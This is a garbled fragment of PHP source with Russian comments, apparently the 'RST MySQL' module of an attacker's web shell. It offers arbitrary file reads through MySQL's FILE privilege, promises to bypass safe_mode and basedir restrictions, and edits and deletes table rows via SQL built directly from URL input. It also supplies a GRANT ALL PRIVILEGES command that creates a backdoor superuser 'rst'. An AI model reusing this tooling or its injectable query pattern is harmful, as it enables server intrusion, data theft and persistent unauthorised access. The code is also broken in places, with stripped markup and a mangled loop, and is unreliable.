";
print "
RST MySQL
";
if ($sapi_type == "cgi") {
$php_type="CGI";
} else {
$php_type="модуль";
}
$form_file="
Чтение произвольного файла, сервера ( $server )
При условии, что файл доступен для чтения и при
наличии у пользователя привилегии FILE, SELECT,
CREATE, правильном пути и имени - возможно чтение произвольного файла.
Обход ограничений при safe_mode и safe_basedir
";
while ( $row=mysql_fetch_array($result) ){
//получаем количество строк(записей) в таблице
$count=mysql_query ("SELECT COUNT(*) FROM `$row[0]`");
$count_row= mysql_fetch_array($count);
print "
".
"
";
if ($count_row[0] < 1) {
print "$row[0] ($count_row[0])
";
}
@mysql_free_result($count);
}
}
/*---------------------- END L E F T B L O C K (menu bd)! -------------------*/
print "
";
/*------------------------ R I G H T B L O C K ! -----------------------*/
if ($connection&&!isset($db)) {
$anon = @mysql_query("SELECT Host,User FROM mysql.user WHERE User=''", $connection);
if (mysql_num_rows($anon)>0) { print "
Внимание!
Анонимным пользователям разрешено подключение к серверу MySQL
";
//определяем индекс для таблицы, по какому полю(полям) будем искать редактируемую запись
//Key_name Имя индекса, Column_name Имя столбца
$query_ind = "SHOW KEYS FROM `{$tbl}`";
$result_ind = mysql_query($query_ind) or die("$h_error".mysql_error()."$f_error");
while ($row = mysql_fetch_array($result_ind, MYSQL_ASSOC)) {
if ($row['Key_name'] == 'PRIMARY') {
$primary[] .= $row['Column_name'];
}
}
mysql_free_result($result_ind);
$query = "SELECT * FROM `{$tbl}` LIMIT {$limit_start},{$limit_count}";
$result = mysql_query($query) or die("$h_error".mysql_error()."$f_error");
if (mysql_num_rows($result) == 0) {
print "Таблица $tbl не содержит ни одной записи";
}else{
/*получаем названия столбцов*/
print "
";
for ($i=0;$i$name";
}
}
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
print "
";
foreach ($line as $key =>$col_value) {
if (count($primary) > 0) {
if (in_array($key,$primary)) { $edit .= urlencode("`$key`='$col_value' AND "); }
}
else {
//if (strlen($col_value) >= 20) {
// $e_count=substr($col_value,0,20);
// $edit .= urlencode("`$key`='$e_count' AND ");
//} else {
$edit .= urlencode("`$key`='$col_value' AND ");
//}
}
$string .= "
".htmlspecialchars($col_value)."
";
}
$edit=substr_replace($edit,"",-5); //отбросить последний +AND+
print "
";
}
//удаляем запись
if (isset($query_del)) {
$query = 'DELETE FROM `'.$tbl.'` WHERE '.urldecode($query_del);
$r_del = mysql_query($query) or die("$h_error".mysql_error()."$f_error");
print "Успешно удалено строк ( ".mysql_affected_rows()." )";
}
//выводим форму редактирования строки
if (isset($query_edit)) {
$query = 'SELECT * FROM `'.$tbl.'` WHERE '.urldecode($query_edit);
$r_edit = mysql_query($query) or die("$h_error".mysql_error()."$f_error");
print "
Редактирование значений полей таблицы
".
"
".
"
Поле
Значение
";
print "
";
print " ";
}
if (isset($q_get)) {
$url=$_SERVER['QUERY_STRING'];
if ($_GET['up_str']=='up_ok') {
$del_str=urldecode(substr_replace($del_str,"",-5));
$b = explode('&', $url);
for ($i = 10; $i < count($b); $i++) {
$q = explode("=",$b[$i]);
$q_a .= "`".$q[0]."`='".$q[1]."', ";
}
$q_a_ins=urldecode(substr_replace($q_a,"",-2));
$q_st=urldecode(substr_replace($q_st,"",-2));
//что заменяем $del_str
//на что будем менять $q_a_ins
$up="UPDATE `$tbl` SET $q_a_ins WHERE $del_str LIMIT 1";
$q_ins_new = mysql_query($up) or die("$h_error".mysql_error()."$f_error");
$c_a_r=mysql_affected_rows();
print "
GRANT ALL PRIVILEGES ON *.* TO rst@localhost IDENTIFIED BY \'some_pass\' WITH GRANT OPTION добавить нового супер-юзера mysql rst с паролем some_pass
';
}
print "